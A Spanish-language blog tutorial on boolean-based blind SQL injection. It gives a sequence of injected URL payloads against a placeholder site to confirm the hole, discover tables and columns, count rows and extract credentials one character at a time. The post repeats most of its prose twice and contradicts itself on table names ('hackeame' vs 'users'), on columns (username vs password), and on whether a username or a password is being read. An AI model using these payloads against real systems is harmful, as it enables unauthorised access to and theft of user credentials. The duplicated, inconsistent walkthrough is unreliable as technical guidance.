SQL Injection Mediante Lógica Booleana
Como explotar una inyección sql mediante lógica booleana, una función booleana es una función cuyo dominio son las palabras conformadas por los valores binarios 0 ó 1 (“falso” o “verdadero“, respectivamente), y cuyo codominio son ambos valores 0 y 1.
Lo que haremos sera que mediante instrucciones de SQL le preguntaremos al servidor, y el deberá respondernos cierto o falso.
Ahora realizaermos una serie de instrucciones para lograr extraer la información de la base de datos (usuario, passwords, emails etc.)
0×1 – Comprobando si el servidor esvulnerable
En este ejemplo mostramos valor true, si la aplicación es vulnerable nos debería imprimir el resultado que esta asignado (id de usuario, nombre de usuario y post).
Como el valor es falso nos mostrara “no hay columnas”
0×2 - Sacando información
vamos a buscar la tabla donde están los usuarios.
Probemos “admin” como nombre de la tabla haber si existe.
Al no existir la tabla “admin” nos dará un valor falso ”no hay columnas”
Al existir la tabla “hackeame”, nos da un valor verdadero y se muestra en la página lo asignado.
0×3 - Sacando número de registros de la tabla “hackeame”
Le preguntamos si el registro es mayor que 4 Como la tabla tiene 3 registros nos dará un valor false, o sea no mostrará nada (3 < 4)
En este caso nos dará un valor true, ya que la tabla tiene 3 registros.
0×4 Buscando los nombres de las columnas
Como no existe la columna “usuarios”, efectivamente nos da un valor false.
Al existir la columna password, nos da un valor true y nos muestra en contenido asignado.
Bien ya tenemos el nombre de una columna, solo tendríamos que ir probando y buscando otras.
0×5 Leyendo datos de la columna
Al tener el usuario 5 caracteres, nos devolverá un valor FALSE.
Como el usuario tiene 5 caracteres (admin), nos devolverá un valor TRUE.
*La función LENGTH devuelve la longitud de la cadena str, medida en bytes.
*La función SUBSTRING se usa para extraer una subcadena de otra cadena, especificando la posición del primer carácter y el número de caracteres que se desean extraer.
0×6: Leyendo registros de la tabla
Como la contraseña del usuario empieza por 1, nos devolverá un valor true.
Ya tenemos el primer carácter de la contraseña.
TRUE, ya tenemos el segundo carácter del usuario y así seria todo el rato hasta dar con la contraseña completa.
Lo que haremos sera que mediante instrucciones de SQL le preguntaremos al servidor, y el deberá respondernos cierto o falso.
Ahora realizaermos una serie de instrucciones para lograr extraer la información de la base de datos (usuario, passwords, emails etc.)
0×1 – Comprobando si el servidor esvulnerable
http://www.paginaweb.com/hackeame/sql.php?id=1 AND 1=1
En este ejemplo mostramos valor true, si la aplicación es vulnerable nos debería imprimir el resultado que esta asignado (id de usuario, nombre de usuario y post).
http://www.paginaweb.com/hackeame/sql.php?id=1 and 1=0
Como el valor es falso nos mostrara “no hay columnas”
0×2 - Sacando información
vamos a buscar la tabla donde están los usuarios.
Probemos “admin” como nombre de la tabla haber si existe.
http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM admin)
Al no existir la tabla “admin” nos dará un valor falso ”no hay columnas”
http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM hackeame)
Al existir la tabla “hackeame”, nos da un valor verdadero y se muestra en la página lo asignado.
0×3 - Sacando número de registros de la tabla “hackeame”
http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM hackeame) > 4
Le preguntamos si el registro es mayor que 4 Como la tabla tiene 3 registros nos dará un valor false, o sea no mostrará nada (3 < 4)
http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(*) FROM users) = 3
En este caso nos dará un valor true, ya que la tabla tiene 3 registros.
0×4 Buscando los nombres de las columnas
http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT Count(usuarios) FROM hackeame)
Como no existe la columna “usuarios”, efectivamente nos da un valor false.
http://www.paginaweb.com/sql.php?id=1 AND (SELECT Count(username) FROM hackeame)
Al existir la columna password, nos da un valor true y nos muestra en contenido asignado.
Bien ya tenemos el nombre de una columna, solo tendríamos que ir probando y buscando otras.
0×5 Leyendo datos de la columna
http://www.paginaweb.com/sql.php?id=1 AND (SELECT length (username) FROM hackeame where id=1) > 9
Al tener el usuario 5 caracteres, nos devolverá un valor FALSE.
http://www.paginaweb.com/hackeame/sql.php?id=1 AND (SELECT length (username) FROM hackeame where id=1) = 5
Como el usuario tiene 5 caracteres (admin), nos devolverá un valor TRUE.
*La función LENGTH devuelve la longitud de la cadena str, medida en bytes.
*La función SUBSTRING se usa para extraer una subcadena de otra cadena, especificando la posición del primer carácter y el número de caracteres que se desean extraer.
0×6: Leyendo registros de la tabla
http://www.paginaweb.com/hackeame/sql.php?id=1 AND ascii(substring((SELECT username FROM hackeame where id=1),1,1))=49 ASCII 49 = 1
Como la contraseña del usuario empieza por 1, nos devolverá un valor true.
Ya tenemos el primer carácter de la contraseña.
http://www.paginaweb.com/hackeame/sql.php?id=1 AND ascii(substring((SELECT username FROM hackeame where id=1),2,1)) = 50 ASCII 50 = 2
TRUE, ya tenemos el segundo carácter del usuario y así seria todo el rato hasta dar con la contraseña completa.
0 comentarios:
Publicar un comentario